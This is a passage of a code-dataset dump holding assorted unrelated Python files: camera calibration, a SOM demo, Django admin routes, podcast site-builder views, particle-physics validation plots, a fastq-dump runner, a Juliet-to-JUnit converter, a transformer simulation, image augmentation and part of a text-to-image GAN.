cv2.WINDOW_NORMAL)\n\t\t#cv2.resizeWindow(\"frame\",(1366,768))\n\t\tcv2.imshow(\"frame\",frame)\n\t\tcv2.waitKey(1)\n\n\t#pprint(frame.shape)\n\tret, my_corners = cv2.findChessboardCorners(frame,(4,6), flags=cv2.CALIB_CB_ADAPTIVE_THRESH |+ cv2.CALIB_CB_NORMALIZE_IMAGE)\n\t#print(my_corners)\n\t\n\ttimg = frame.copy()\n\ttimg = cv2.drawChessboardCorners(timg, (4,6), my_corners, ret)\n\t#cv2.namedWindow(\"frame\", cv2.WINDOW_NORMAL)\n\t#cv2.resizeWindow(\"frame\",(1366,768))\n\tcv2.imshow(\"frame\",timg)\n\t\n\tkeycode = cv2.waitKey(0) & 0xFF\n\tif keycode == ord('q'):\n\t\tbreak\n\telif keycode == ord('s'):\n\t\tfilectr += 1\n\t\tcv2.imwrite(\"D:\\calib3_frame_\"+str(filectr)+\".png\", frame)\n\t\tprint(\"Image saved\")\n\t\n\t\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"Experimente/Nils/gp_tracker/cc_image_gen.py","file_name":"cc_image_gen.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"531891573","text":"from somlib.som import SOM, create_u_matrix\nimport numpy as np\nimport pandas as pd\nfrom pandas import Series, DataFrame\nimport matplotlib.pyplot as plt\n \ndef main():\n standard_som()\n #test()\n\nif __name__ == '__main__':\n main()\n \n \ndef standard_som():\n path = \"data/dorothea_clean.csv\"\n #path = \"research/data/housing.data\"\n table = pd.read_csv(path, header=None)\n table_new = table.dropna(axis=0)\n data = DataFrame.as_matrix(table_new)\n\n my_som = SOM(20, 20, 5000)\n lattice = my_som.calc(data)\n u_matrix = create_u_matrix(lattice)\n plt.matshow(u_matrix.T, fignum=100, cmap='viridis')\n plt.show()\n \ndef test():\n print (\"Hello\")","sub_path":"somlib/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"537554961","text":"from django.conf.urls import url\nfrom django.urls import path,re_path\nfrom django.views.generic import TemplateView\nfrom . import views\nfrom django.shortcuts import render\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n#from adminmodule.views import loginCheck\n\nurlpatterns=[\n url(r'^adminlogin/$',views.adminlogin),\n url(r'^addadmin/$',views.addadmin),\n url(r'^storeadmin/$',views.storeadmin),\n url(r'^deleteAll/$',views.deleteAll),\n url(r'^adminhome/$',views.adminhome),\n url(r'^loginverify/$',views.loginverify),\n\n url(r'^customerrequestedevent/$',views.customerrequestedevent),\n path('customerrequestedevent.html',lambda request: render(request,'customerrequestedevent')),\n url(r'^admindonotacceptevent/$',views.admindonotacceptevent),\n url(r'^adminacceptevent/$',views.adminacceptevent),\n url(r'^rejectedevent/$',views.rejectedevent),\n \n url(r'^moredetails/$',views.moredetails),\n #Manage Event\n #Way-I to render html page directy\n\n #url(r'^addevent.html$',TemplateView.as_view(template_name=\"addevent.html\"),name=\"addevent\"),\n \n #Way-II\n path('addevent.html',lambda request: render(request,'addevent.html')),\n path('updateevent.html',lambda request: render(request,'updateevent.html')),\n path('deleteevent.html',lambda request: render(request,'deleteevent.html')),\n\n path('addmanager.html',lambda request:render(request,'addmanager.html')),\n path('updatemanager.html',lambda request:render(request,'updatemanager.html')),\n path('deletemanager.html',lambda request:render(request,'deletemanager.html')),\n\n url(r'^addevent/$',views.addevent),\n url(r'^deleteAllEvent/$',views.deleteAllEvent),\n url(r'^getpreviousevent/$',views.getpreviousevent),\n url(r'^updateevent/$',views.updateevent),\n url(r'^deleteevent/$',views.deleteevent),\n url(r'^approvedevent/$',views.approvedevent),\n url(r'^unapprovedevent/$',views.unapprovedevent),\n url(r'^newlycreatedevent/$',views.newlycreatedevent),\n url(r'^allevent/$',views.allevent),\n url(r'^alogout/$',views.alogout),\n\n url(r'^addmanager/$',views.addmanager),\n url(r'^deletemanager/$',views.deletemanager),\n url(r'^viewmanager/$',views.viewmanager),\n\n url(r'^viewfeedback/$',views.viewfeedback),\n url(r'^makeasapproved/$',views.makeasapproved),\n url(r'^makeasrejected/$',views.makeasrejected),\n \n\n url(r'^manageyourevents.html/$',lambda request: render(request,'manageyourevents.html')),\n url(r'^manageyourmanager.html/$',lambda request: render(request,'manageyourmanager.html')),\n\n\n path('resetpassword.html',lambda request: render(request,'resetpassword.html')),\n\n url(r'^verifyuser/$',views.verifyuser),\n url(r'^setpassword/$',views.setpassword),\n]\n\n\"\"\"urlpatterns+=[\n path(r'(?P.*)',loginCheck.as_view(),name=\"LH\")\n]\"\"\"","sub_path":"Python-EventManagement/RegistrationModule/adminmodule/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"478278552","text":"import json\n\nfrom django.conf import settings as dj_settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import Http404, HttpResponse\nfrom django.views.decorators.http import require_GET, require_POST\n\nfrom .models import SitePage\nfrom pinecast.helpers import get_object_or_404, json_response, render\nfrom podcasts.decorators import podcast_route\n\n\ndef _get_pod_site(pod):\n try:\n site = pod.site\n site.podcast = pod\n return site\n except Exception:\n raise Http404()\n\n@require_GET\n@login_required\n@podcast_route\ndef view(req, pod):\n site = _get_pod_site(pod)\n return render(\n req,\n 'site_builder/main.html',\n {\n 'podcast': pod,\n 'slug': pod.slug,\n 'site_theme': json.loads(site.theme_data) if site.theme_data else {'$type': site.theme},\n }\n )\n\n@require_POST\n@login_required\n@json_response\n@podcast_route\ndef save_theme(req, pod):\n site = _get_pod_site(pod)\n return {'success': site.set_theme_data(req.body, save=True)}\n\n@login_required\n@json_response(safe=False)\n@podcast_route\ndef links(req, pod):\n site = _get_pod_site(pod)\n if req.body:\n if not site.set_site_links(req.body) and dj_settings.DEBUG:\n print('Rejected', req.body)\n return site.get_site_links()\n\n\ndef _format_page(page):\n return {\n 'title': page.title,\n 'slug': page.slug,\n 'page_type': page.page_type,\n 'created': page.created.isoformat(),\n 'body': page.body if page.page_type == 'markdown' else json.loads(page.body),\n }\n\n@login_required\n@json_response\n@podcast_route\ndef pages(req, pod):\n site = _get_pod_site(pod)\n if req.POST:\n new_page = SitePage(\n site=site,\n page_type=req.POST.get('page_type'),\n title=req.POST.get('title'),\n slug=req.POST.get('slug'),\n body=req.POST.get('body'),\n )\n try:\n new_page.full_clean()\n new_page.save()\n except Exception as e:\n if dj_settings.DEBUG:\n print(e)\n return HttpResponse(status=400)\n\n return {\n page.slug: _format_page(page) for\n page in\n site.sitepage_set.all()\n }\n\n@require_POST\n@login_required\n@json_response\n@podcast_route\ndef pages_update(req, pod, page_slug):\n site = _get_pod_site(pod)\n page = get_object_or_404(SitePage, slug=page_slug, site=site)\n page.title = req.POST.get('title', '')\n if page.page_type == 'markdown':\n page.body = req.POST.get('body', '')\n else:\n try:\n body = req.POST.get('body')\n json.loads(body)\n # TODO: add validation here\n page.body = body\n except Exception as e:\n if settings.DEBUG:\n raise e\n return HttpResponse(status=400)\n page.save()\n return _format_page(page)\n\n@require_POST\n@login_required\n@podcast_route\ndef pages_delete(req, pod, page_slug):\n site = _get_pod_site(pod)\n get_object_or_404(SitePage, slug=page_slug, site=site).delete()\n return HttpResponse(status=204)\n\n\n@login_required\n@json_response\n@podcast_route\ndef settings(req, pod):\n site = _get_pod_site(pod)\n if req.body:\n if not site.set_settings(req.body) and dj_settings.DEBUG:\n print('Rejected', req.body)\n\n return {\n 'analytics_id': site.analytics_id,\n 'itunes_url': site.itunes_url,\n 'google_play_url': site.google_play_url,\n 'stitcher_url': site.stitcher_url,\n\n 'show_itunes_banner': site.show_itunes_banner,\n\n 'custom_cname': site.custom_cname,\n }\n\n@login_required\n@json_response\n@podcast_route\ndef assets(req, pod):\n site = _get_pod_site(pod)\n if req.body:\n if not site.set_assets(req.body) and dj_settings.DEBUG:\n print('Rejected', req.body)\n\n return {\n 'site_favicon': site.favicon.get_url() if site.favicon else None,\n 'site_logo': site.logo.get_url() if site.logo else None,\n }\n","sub_path":"sites/views_editor.py","file_name":"views_editor.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"649691075","text":"import libwwz\nfrom libwwz.array_utils import *\n\nfrom geeksw.utils.core import concatenate\nfrom geeksw.utils.data_loader_tools import make_data_loader, TreeWrapper, list_root_files_recursively\n\nimport uproot\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nyear = 2018\nlibwwz.config.year = year\n\nif libwwz.config.year == 2016:\n # baby_file = \"/home/llr/cms/rembser/scratch/baby-ntuples/WVZMVA2016_v0.1.21/wwz_amcatnlo_1.root\"\n baby_file = \"/home/llr/cms/rembser/scratch/baby-ntuples/WVZMVA2016_v0.1.21/ttz_llvv_mll10_amcatnlo_1.root\"\n # nano_dir = \"/scratch/store/mc/RunIISummer16NanoAODv7/WWZ_TuneCUETP8M1_13TeV-amcatnlo-pythia8/NANOAODSIM/PUMoriond17_Nano02Apr2020_102X_mcRun2_asymptotic_v8-v1\"\n nano_dir = \"/scratch/store/mc/RunIISummer16NanoAODv7/TTZToLLNuNu_M-10_TuneCUETP8M1_13TeV-amcatnlo-pythia8/NANOAODSIM/PUMoriond17_Nano02Apr2020_102X_mcRun2_asymptotic_v8_ext2-v1\"\n\nif libwwz.config.year == 2017:\n # baby_file = \"/home/llr/cms/rembser/scratch/baby-ntuples/WVZMVA2017_v0.1.21/wwz_4l2v_amcatnlo_1.root\"\n baby_file = \"/home/llr/cms/rembser/scratch/baby-ntuples/WVZMVA2017_v0.1.21/ttz_llvv_mll10_amcatnlo_1.root\"\n # nano_dir = \"/scratch/store/mc/RunIIFall17NanoAODv7/WWZJetsTo4L2Nu_4f_TuneCP5_13TeV_amcatnloFXFX_pythia8/NANOAODSIM/PU2017_12Apr2018_Nano02Apr2020_102X_mc2017_realistic_v8-v1\"\n nano_dir = \"/scratch/store/mc/RunIIFall17NanoAODv7/TTZToLLNuNu_M-10_TuneCP5_13TeV-amcatnlo-pythia8/NANOAODSIM/PU2017_12Apr2018_Nano02Apr2020_102X_mc2017_realistic_v8-v1\"\n\nif libwwz.config.year == 2018:\n # baby_file = \"/home/llr/cms/rembser/scratch/baby-ntuples/WVZMVA2018_v0.1.21/wwz_4l2v_amcatnlo_1.root\"\n baby_file = \"/home/llr/cms/rembser/scratch/baby-ntuples/WVZMVA2018_v0.1.21/ttz_llvv_mll10_amcatnlo_1.root\"\n # nano_dir = \"/scratch/store/mc/RunIIAutumn18NanoAODv7/WWZJetsTo4L2Nu_4f_TuneCP5_13TeV_amcatnloFXFX_pythia8/NANOAODSIM/Nano02Apr2020_102X_upgrade2018_realistic_v21-v1\"\n nano_dir = \"/scratch/store/mc/RunIIAutumn18NanoAODv7/TTZToLLNuNu_M-10_TuneCP5_13TeV-amcatnlo-pythia8/NANOAODSIM/Nano02Apr2020_102X_upgrade2018_realistic_v21_ext1-v1\"\n\nnano_files = list_root_files_recursively(nano_dir)\n\nbaby = uproot.open(baby_file)[\"t\"]\nbaby_event = baby.array(\"evt\")\n\nprint(baby.array(\"evt_scale1fb\")[0])\n\nall_branches = list(set([br.decode(\"utf-8\") for br in baby.keys()]))\n\n# nanos = [TreeWrapper(uproot.open(nano)[\"Events\"], n_max_events=100) for nano in nano_files]\n\n\nis_data = False\nlumi = 0.0\n\ncolumns = [\n \"VetoNoIsoElectron_pt\",\n \"VetoNoIsoElectron_eta\",\n \"VetoNoIsoElectron_phi\",\n \"VetoNoIsoElectron_mass\",\n \"VetoNoIsoElectron_pfRelIso03_all\",\n \"VetoNoIsoElectron_pfRelIso03_all_wLep\",\n \"VetoNoIsoMuon_pt\",\n \"VetoNoIsoMuon_eta\",\n \"VetoNoIsoMuon_phi\",\n \"VetoNoIsoMuon_mass\",\n \"VetoNoIsoMuon_pfRelIso03_all\",\n \"VetoNoIsoMuon_pfRelIso03_all_wLep\",\n \"nb\",\n \"n_veto_leptons\",\n *libwwz.output.columns,\n]\n\ndata_loader = make_data_loader(columns, libwwz.producers.mc_producers, verbosity=0)\n\ndatas = []\n\nskim = libwwz.skims.wvz_skim\n\nfor i_nano_file, nano_file in enumerate(nano_files):\n print(nano_file)\n nano = TreeWrapper(uproot.open(nano_file)[\"Events\"], n_max_events=None)\n\n data = skim(data_loader(nano))\n\n datas.append(data)\n\ndata = dict()\nfor column in datas[-1].keys():\n data[column] = concatenate([d[column] for d in datas])\n\nnano_event = data[\"evt\"]\n\nnano_idx, baby_idx = libwwz.validation.nano_baby_overlap(nano_event, baby_event)\n\n\ndef check_n_veto_leptons(baby, nano):\n\n # tree = TreeWrapper(baby)\n s1 = pd.Series(baby.array(\"lep_isVVVVeto\")[baby_idx].sum()) # + pass_vefrom_muon_id(tree)[baby_idx].sum())\n print(s1.value_counts())\n s2 = pd.Series(nano[\"n_veto_leptons\"][nano_idx])\n print(s2.value_counts())\n\n\ncheck_n_veto_leptons(baby, data)\n\n\ndef kinematics_comparison_plot(\n baby_variable=\"lep_pt\", nano_variable=\"pt\", bins=np.linspace(0, 200, 200), particle=\"Electron\"\n):\n\n particle = \"VetoNoIso\" + particle\n\n assert particle in [\"VetoNoIsoElectron\", \"VetoNoIsoMuon\"]\n\n lep_id = 11 if \"Electron\" in particle else 13\n\n electron_mask = np.abs(baby.array(\"lep_id\")) == lep_id\n\n baby_values = baby.array(baby_variable)[electron_mask]\n baby_events = baby.array(\"evt\")\n idx = baby_values.counts.argmax()\n label = particle + \" \" + baby_variable\n\n nano_values = data[particle + \"_\" + nano_variable]\n print(label)\n print(\"=\" * len(label))\n print(f\"Values in event {baby_events[idx]} (the event with the most objects)\")\n print(\"baby: \", baby_values[idx])\n print(\"nano: \", nano_values[np.argmax(data[\"evt\"] == baby_events[idx])])\n\n plt.hist(baby_values.flatten(), bins, histtype=\"step\", label=\"BABY\")\n plt.hist(nano_values.flatten(), bins, histtype=\"step\", label=\"NANO\")\n\n plt.legend(loc=\"upper right\")\n # plt.gca().set_yscale(\"log\", nonposy='clip')\n plt.xlabel(label)\n plt.ylabel(\"Events\")\n plt.savefig(str(year) + \"_\" + particle + \"_\" + baby_variable + \".png\", dpi=300)\n # plt.show()\n plt.close()\n\n\npt_bins = np.linspace(0, 200, 200)\neta_bins = np.linspace(-3, 3, 200)\n\nkinematics_comparison_plot(\"lep_pt\", \"pt\", pt_bins, \"Electron\")\nkinematics_comparison_plot(\"lep_eta\", \"eta\", eta_bins, \"Electron\")\nkinematics_comparison_plot(\"lep_pt\", \"pt\", pt_bins, \"Muon\")\nkinematics_comparison_plot(\"lep_eta\", \"eta\", eta_bins, \"Muon\")\n\nfor particle in [\"VetoNoIsoElectron\", \"VetoNoIsoMuon\"]:\n\n lep_id = 11 if \"Electron\" in particle else 13\n\n electron_mask = np.abs(baby.array(\"lep_id\")) == lep_id\n bins = np.linspace(0, 2, 200)\n\n baby_pt = baby.array(\"lep_pt\")[electron_mask].flatten()\n\n for var in [\"lep_relIso03EAv4\", \"lep_relIso03EAv4wLep\"]:\n plt.hist(baby.array(var)[electron_mask].flatten(), bins, histtype=\"step\", label=\"BABY - \" + var) # * baby_pt,\n\n for var in [particle + \"_pfRelIso03_all\", particle + \"_pfRelIso03_all_wLep\"]:\n plt.hist(data[var].flatten(), bins, histtype=\"step\", label=\"NANO - lep_\" + var[10:])\n\n plt.legend(loc=\"upper right\")\n plt.gca().set_yscale(\"log\", nonposy=\"clip\")\n plt.title(particle)\n plt.xlabel(\"Relative Isolation\")\n plt.ylabel(\"Events\")\n plt.savefig(str(year) + \"_\" + particle + \"_isolation.png\", dpi=300)\n plt.close()\n # plt.show()\n\n# Jet variables\nbins = np.linspace(0, 10, 11)\nplt.hist(baby.array(\"nb\")[baby_idx], bins=bins, histtype=\"step\", label=\"BABY\")\nplt.hist(data[\"nb\"][nano_idx], bins=bins, histtype=\"step\", label=\"NANO\")\nplt.legend(loc=\"upper right\")\nplt.xlabel(\"Number of b-jets\")\nplt.ylabel(\"Events\")\nplt.savefig(str(year) + \"_\" + \"nb.png\", dpi=300)\nplt.close()\n","sub_path":"validation/compare_distributions_with_baby.py","file_name":"compare_distributions_with_baby.py","file_ext":"py","file_size_in_byte":6578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"214903808","text":"import myparallel as mp\nimport os\nimport glob\nimport re\nimport csv\nimport argparse\n\nclass Dump(mp.myparallel):\n def __init__(self, **argv):\n # force to use self-defined log parser\n argv['dump'] = False \n super().__init__(**argv)\n\n def setupTaskPool(self, task_pool):\n for sra_f in glob.glob('*.sra'):\n task_pool.append(mp.Task(\n name=sra_f[:-4], # remove '.sra'\n task_type='dump to fasta',\n command=[ # main command\n 'fastq-dump', '--fasta', \n '-O', '../fasta/', sra_f]\n ))\n\n def parse2csv(self, output_loglist):\n self.dump2csv() # still dump original result\n # determine parsed data filename\n parsed_filename = \"{:s}_parsed.csv\".format(\n os.path.splitext(self.output_filename)[0])\n # output formatter for fastq-dump\n out_reg = re.compile(\n 'Written (?P\\d+) spots total',\n re.MULTILINE)\n parsed_csvf = open(parsed_filename, 'w')\n headcol = ['name', 'total sequence', 'time']\n csv_writer = csv.writer(parsed_csvf)\n csv_writer.writerow(headcol)\n for log in output_loglist:\n r = out_reg.search(log['normal msg'])\n csv_writer.writerow([\n log['name'], \n r.group(1) if r else 'ERROR',\n log['process time']\n ])\n parsed_csvf.close()\n\ndef makeParser(parent_list):\n # add new parameter to pass in command line\n ap = argparse.ArgumentParser\n parser = ap(\n prog='dump',\n description='dump fast* file',\n parents=parent_list)\n return parser\n\ndef run():\n # inherit parameters predefined in myparallel\n parser = makeParser([mp.parser]) \n args = parser.parse_args() \n Dump(**vars(args))\n\nif __name__ == '__main__':\n run() \n \n","sub_path":"fastdump.py","file_name":"fastdump.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"363757390","text":"#!/usr/bin/env python\n\n\n\"\"\"\nGiven an output file from juliet-run.sh as input, parse the file and convert\nthe test results into junit.xml format.\n\"\"\"\n\n\nimport sys, junitparser\n\ndef convert_output_to_junit(output_path, junit_path=\"\", suite_name=\"juliet output\", good=True):\n suite = junitparser.TestSuite(suite_name)\n\n with open(output_path, \"r\") as output_file:\n next(output_file) # header\n for line in output_file:\n split = line.split()\n case = junitparser.TestCase(split[0])\n exit_code = int(split[1])\n\n if exit_code == 124:\n # timeout\n case.result = junitparser.Error(split[1])\n elif good and exit_code != 0:\n # good run had bad exit code\n case.result = junitparser.Failure(split[1])\n elif not good and exit_code == 0:\n # bad run had good exit code\n case.result = junitparser.Failure(split[1])\n\n suite.add_testcase(case)\n\n xml = junitparser.JUnitXml()\n xml.add_testsuite(suite)\n xml.write(junit_path if junit_path != \"\" else output_path + \".xml\")\n\n\n# first argument path to juliet-run.sh output, second argument \"bad\" or \"good\",\n# third argument test suite name, optional fourth argument path to xml output\nif __name__ == \"__main__\":\n\n if len(sys.argv) < 4:\n print(\"not enough arguments\")\n exit()\n\n good = True\n if sys.argv[2] == \"bad\":\n good = False\n\n if len(sys.argv) < 5:\n convert_output_to_junit(sys.argv[1], good=good, suite_name=sys.argv[3])\n\n else:\n convert_output_to_junit(sys.argv[1], good=good, suite_name=sys.argv[3], junit_path=sys.argv[4])\n\n","sub_path":"juliet-junit.py","file_name":"juliet-junit.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"298239329","text":"import numpy as np\nimport scipy as sp\nimport torch as th\n\ndef relu(c):\n return c * (c > 0)\n \nclass Transformer():\n def __init__(self, d, d_in, depth, temp=1, vw=1, vb=0):\n self.d = d\n self.depth = depth\n self.temp = temp\n self.vw = vw\n self.vb = vb\n self.W1s = [np.random.randn(d, d) * np.sqrt(vw/d) \n for _ in range(depth)]\n self.b1s = [np.random.randn(d) * np.sqrt(vb)\n for _ in range(depth)]\n self.W2s = [np.random.randn(d, d) * np.sqrt(vw/d) \n for _ in range(depth)]\n self.b2s = [np.random.randn(d) * np.sqrt(vb)\n for _ in range(depth)]\n self.embedding = np.random.randn(d_in, d) * np.sqrt(1/d_in)\n \n def __call__(self, seq):\n '''\n Input:\n seq: seqlen x tokensize array, for any seqlen and tokensize\n Output:\n out: seqlen x self.d_in array, for the same seqlen as input\n '''\n inseq = seq @ self.embedding\n for l in range(self.depth):\n # self attn\n gram = inseq @ inseq.T / inseq.shape[1]\n gram[np.triu_indices(gram.shape[0], 1)] = -np.inf\n weights = sp.special.softmax(gram / self.temp, axis=1)\n # weights @ inseq gives vectors returned by attention\n # inseq + weights @ inseq is the residual connection\n post_attn = self.layernorm(inseq + weights @ inseq)\n # self.post_attn = post_attn\n \n # FF\n inseq = relu(post_attn @ self.W1s[l] + self.b1s[l])\n inseq = inseq @ self.W2s[l] + self.b2s[l]\n inseq = self.layernorm(inseq + post_attn)\n \n return inseq\n def layernorm(self, seq):\n '''inplace layernorm\n Input:\n seq: seqlen x tokensize array, for any seqlen and tokensize\n Output:\n out: seqlen x tokensize array\n Means and standard deviation computed over the `tokensize` dimension\n '''\n seq -= np.mean(seq, axis=1, keepdims=True)\n seq /= np.std(seq, axis=1, keepdims=True)\n return seq\n \n def randomize(self, vw=None, vb=None):\n if vw is None:\n vw = self.vw\n if vb is None:\n vb = self.vb\n for p in self.W1s + self.W2s:\n # numpy has no way of sampling in place\n th.from_numpy(p).normal_(std=np.sqrt(vw / self.d))\n for p in self.b1s + self.b2s:\n th.from_numpy(p).normal_(std=np.sqrt(vb))","sub_path":"transformer_sim.py","file_name":"transformer_sim.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"251377714","text":"import os\nimport tensorflow as tf\nimport numpy as np\nimport pickle\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport cv2\nimport matplotlib.pyplot as plt\n\ndef make_pickle(imgs, img_names, type):\n img_label = {'images': imgs, 'labels': img_names}\n pickle.dump(img_label, open(\"data/%s.pkl\" % type, \"wb\"))\n\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\n\ndef _float_feature(value):\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\n\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef adjust_gamma(image, gamma=1.0):\n # build a lookup table mapping the pixel values [0, 255] to\n # their adjusted gamma values\n invGamma = 1.0 / gamma\n table = np.array([((i / 255.0) ** invGamma) * 255\n for i in np.arange(0, 256)]).astype(\"uint8\")\n return cv2.LUT(image, table)\n\ndef make_tfrecords(images, labels, type):\n\n num_examples = labels.shape[0]\n\n if images.shape[0] != num_examples:\n raise ValueError(\"Images size %d does not match label size %d.\" %\n (images.shape[0], num_examples))\n rows = images.shape[1]\n cols = images.shape[2]\n depth = images.shape[3]\n\n directory = \".\"\n\n filename = os.path.join(directory, type + '.tfrecords')\n print('Writing', filename)\n writer = tf.python_io.TFRecordWriter(filename)\n for index in range(len(labels)):\n image_raw = images[index].tostring()\n example = tf.train.Example(features=tf.train.Features(feature={\n 'height': _int64_feature(rows),\n 'width': _int64_feature(cols),\n 'depth': _int64_feature(depth),\n 'label': _float_feature(float(labels[index])),\n 'image_raw': _bytes_feature(image_raw)}))\n writer.write(example.SerializeToString())\n\n\ndef extract_image_label(folder, type):\n print(\"extracting from \" + folder)\n csv_file = pd.read_csv(\"/Volumes/DANIEL/Challenge-2/\" + type + \"/%d/interpolated.csv\" % int(folder),\n usecols=['filename', 'angle', 'frame_id'])\n csv_file = csv_file[csv_file['frame_id'] == \"center_camera\"]\n\n dat_dir = \"/Volumes/DANIEL/Challenge-2/\" + type + \"/%d/center/\" % int(folder)\n\n images_list = [dat_dir + file for file in os.listdir(dat_dir) if not file.startswith(\"._\")]\n images_name_list = [file for file in os.listdir(dat_dir) if not file.startswith(\"._\")]\n\n init_op = tf.initialize_all_variables()\n\n with tf.Session() as sess:\n tmp_image_lst = []\n tmp_label_lst = []\n tmp_img_name_lst = []\n\n for image_name in images_name_list:\n image = cv2.imread(dat_dir + \"/\" + image_name)\n image = cv2.resize(image, (80, 60))\n\n # store original image\n tmp_image_lst.append(image)\n angle = csv_file['angle'][csv_file['filename'] == \"center/\" + image_name]\n tmp_label_lst.append(float(angle))\n tmp_img_name_lst.append(image_name)\n\n # store contract image\n contrast_image = image.copy()\n contrast_image = adjust_gamma(contrast_image, gamma=2)\n tmp_image_lst.append(contrast_image)\n tmp_label_lst.append(float(angle))\n tmp_img_name_lst.append(\"contrast_\" + image_name)\n\n # store flipped image\n flipped_image = image.copy()\n flipped_image = cv2.flip(flipped_image, 1)\n tmp_image_lst.append(flipped_image)\n tmp_label_lst.append(float(angle) * -1)\n tmp_img_name_lst.append(\"flipped_\" + image_name)\n\n # store flipped contract image\n flipped_contrast_image = flipped_image.copy()\n flipped_contrast_image = adjust_gamma(flipped_contrast_image, gamma=2)\n tmp_image_lst.append(flipped_contrast_image)\n tmp_label_lst.append(float(angle) * -1)\n tmp_img_name_lst.append(\"flipped_contrast_\" + image_name)\n\n images = np.array(tmp_image_lst)\n labels = np.array(tmp_label_lst)\n img_names = np.array(tmp_img_name_lst)\n return images, labels, img_names\n\n\ntype = 'Train'\n\nfolders = [file for file in os.listdir(\"/Volumes/DANIEL/Challenge-2/\" + type) if not file.startswith(\"._\")]\nimages = []\nlabels = []\nnames = []\n\nfor folder in folders:\n i, l, img_names = extract_image_label(folder, type)\n images.append(i)\n labels.append(l)\n names.append(img_names)\nimages = np.array(np.concatenate(images))\nlabels = np.array(np.concatenate(labels))\nnames = np.array(np.concatenate(names))\n\n\nX_train_val, X_test, y_train_val, y_test = train_test_split(images, labels, test_size=0.15, random_state=42)\nX_train, X_val, y_train, y_val = train_test_split(X_train_val, y_train_val, test_size=0.2, random_state=42)\n\nprint(\"making test set....\")\nmake_tfrecords(X_test, y_test, 'data/augmented_test')\n\nprint(\"making train set....\")\nmake_tfrecords(X_train, y_train, 'data/augmented_train')\n\nprint(\"making validation set....\")\nmake_tfrecords(X_val, y_val, 'data/augmented_validation')\n\nprint(\"pickling....\")\nmake_pickle(X_test, y_test, 'augmented_test')\nmake_pickle(X_val, y_val, 'augmented_validation')\nmake_pickle(X_train, y_train, 'augmented_train')","sub_path":"util/extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"38335337","text":"# -----------------------------------------------------------------------------\n# @brief:\n# In this place, we build the actual text-2-image network\n# @author:\n# Tingwu Wang, hmmm.....\n# @possible compatible problems:\n# 1. sigmoid_cross_entropy_with_logits: labels / targets\n# -----------------------------------------------------------------------------\n\nimport conGan as GAN\nimport init_path\nimport os\nimport tensorflow as tf\nimport numpy as np\nimport skimage.io as sio\nfrom util import logger\nfrom util import compat_tf\n\n\nclass TI_GAN(object):\n '''\n @brief\n in this network, we have a generator and a discriminator\n note that the loss come from the {real img, right txt},\n {real img, wrong txt} and {fake image, right txt}\n '''\n\n def __init__(self, config, stage='train'):\n '''\n @brief:\n for the input, we have the noise input, the img input, the\n text representation input\n '''\n\n assert stage in ['train', 'test'], \\\n logger.error('Invalid training stage')\n logger.warning('test mode is not supported currently')\n self.config = config\n self.batch_size = config.TRAIN.batch_size\n self.stage = stage\n self.train = (self.stage == 'train')\n\n # define the placeholders\n self.noise_input = tf.placeholder(\n tf.float32, [self.batch_size, self.config.z_dimension])\n self.real_img = tf.placeholder(tf.float32, [self.batch_size, 64, 64, 3])\n self.real_sen_rep = tf.placeholder(tf.float32, [self.batch_size, 1024])\n self.wrong_sen_rep = tf.placeholder(tf.float32, [self.batch_size, 1024])\n self.step = 0\n\n return\n\n def build_models(self, build_sampler=True):\n logger.info('Building the text to image GAN model')\n # 1. real image and right text\n with tf.variable_scope(\"\"):\n self.d_network_rr = GAN.img_discriminator(\n self.config, stage=self.stage)\n self.d_network_rr.build_models(self.real_img, self.real_sen_rep)\n self.score_r = self.d_network_rr.get_score()\n self.loss_r = tf.reduce_mean(\n compat_tf.sigmoid_cross_entropy_with_logits(\n logits=self.score_r, labels=tf.ones_like(self.score_r)))\n logger.info('loss from real image and right text generated')\n\n # 2. real image and wrong text\n with tf.variable_scope(\"\", reuse=True):\n self.d_network_rw = GAN.img_discriminator(\n self.config, stage=self.stage)\n self.d_network_rw.build_models(self.real_img, self.wrong_sen_rep)\n self.score_rw = self.d_network_rw.get_score()\n self.loss_w = tf.reduce_mean(\n compat_tf.sigmoid_cross_entropy_with_logits(\n logits=self.score_rw, labels=tf.zeros_like(self.score_rw)))\n logger.info('loss from real image and wrong text generated')\n\n # 3. fake image and right text\n with tf.variable_scope(''):\n self.g_network = GAN.img_generator(self.config, stage=self.stage)\n self.g_network.build_image_generator(\n self.noise_input, self.real_sen_rep)\n self.fake_img = self.g_network.get_fake_image()\n\n with tf.variable_scope(\"\", reuse=True):\n self.d_network_wr = GAN.img_discriminator(\n self.config, stage=self.stage)\n self.d_network_wr.build_models(self.fake_img, self.real_sen_rep)\n self.fr_score = self.d_network_wr.get_score()\n self.loss_f = tf.reduce_mean(\n compat_tf.sigmoid_cross_entropy_with_logits(\n logits=self.fr_score, labels=tf.zeros_like(self.fr_score)))\n 